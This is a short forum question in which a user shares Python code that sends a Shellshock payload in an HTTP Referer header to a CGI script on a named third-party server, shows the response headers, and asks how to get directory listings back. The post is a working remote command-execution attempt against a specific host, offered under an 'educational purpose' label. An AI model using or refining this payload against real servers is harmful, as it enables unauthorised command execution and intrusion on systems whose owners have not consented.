How can execute bash command in server from http header using python?

See more:

Python

i have following script in python

headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)

and
r.headers

is

{
'x-rdir': '""', 'x-vps': 'yes',
 'transfer-encoding': 'chunked',
 'server': 'Apache/1.3.29',
 'connection': 'close',
 'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
 'ls_result': '()',
'content-type': 'text/html'
}

when i passing y="(ls)" in header. i am getting 'ls_result': '(ls)' in response header. why $ stripping from my input? how can list directory in response header ? PS: this is for educational purpose